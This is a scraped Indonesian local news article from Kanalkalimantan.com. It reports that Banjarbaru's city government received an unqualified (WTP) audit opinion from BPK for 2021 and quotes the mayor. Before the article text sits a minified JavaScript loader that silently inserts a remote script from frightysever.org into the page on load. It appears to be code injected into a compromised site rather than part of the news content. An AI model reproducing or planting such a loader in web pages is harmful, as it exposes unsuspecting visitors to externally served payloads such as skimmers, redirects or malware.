(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mendapatkan predikat opini Wajar Tanpa Pengecualian (WTP) setelah dirilisnya Laporan Hasil Pemeriksaan (LHP) atas Laporan Keuangan Pemerintah Daerah 2021 oleh Badan Pemeriksa Keuangan (BPK) RI Perwakilan Kalsel.
Penyerahan predikat itu diselenggarakan di aula kantor BPK RI Perwakilan Kalsel dan secara langsung diterima oleh Wali Kota Banjarbaru, Aditya Mufti Ariffin, Selasa (17/5/2022).
Adapun penghargaan opini WTP kali ini merupakan yang ke-7 kalinya diraih Pemko Banjarbaru. Namun istimewanya penghargaan ini menjadi yang perdana sejak dimulainya era kepemimpinan Aditya-Wartono pada 2021 lalu.
Sebagaimana diketahui, opini WTP merupakan penghargaan audit tertinggi terkait pengelolaan anggaran pemerintah daerah yang dinilai berdasarkan hasil pemeriksaan BPK RI. Meraih penghargaan opini WTP menunjukan bagaimana konsistensi pemerintah daerah dalam mengelola keuangan secara profesional, transparan dan akuntabel.
Baca juga : Pengunjung Abai Kebersihan, Kawasan Pesta Pantai Pagatan Hasilkan 2 Ton Sampah per Hari
Wali Kota Banjarbaru, Aditya Mufti Ariffin, mengatakan dengan diraihnya opini WTP dari BPK RI menjadi bukti komitmen pihaknya sebagai bentuk perwujudan nyata menerapkan tata kelola pemerintahan yang baik dalam pengelolaan keuangan negara.
“Dengan begitu pula kita bisa mempertahankan kepercayaan masyarakat perihal pengelolaan uang negara di Kota Banjarbaru ini,” katanya.
Tak sampai di situ, Aditya menyampaikan rasa terima kasih terhadap pihak BPK RI yang telah melalukan pemeriksaan keuangan di lingkungan Pemko Banjarbaru selama satu lebih dari satu tahun terakhir.
Dirinya juga mengingatkan kepada seluruh SKPD di lingkungan Pemko Banjarbaru untuk selalu mengedepankan pengelolaan anggaran secara transparansi dan akuntabel. Apalagi ujarnya saat ini situasi di Banjarbaru tengah dalam pemulihan ekonomi pasca gelombang pandemi Covid-19.
“Kita bekerja keras menggunakan instrumen APBD untuk meringankan dan memulihkan ekonomi di Banjarbaru. Pemakaian sekecil apapun anggaran harus siap dipertanggungjawabkan. Hal ini bukan sesuatu yang mudah namun jika bersama-sama berkomitmen, saya yakin, Insya Allah, tahun depan kita akan meraih penghargaan ini lagi,” tuntas Aditya. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More
Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
This website uses cookies.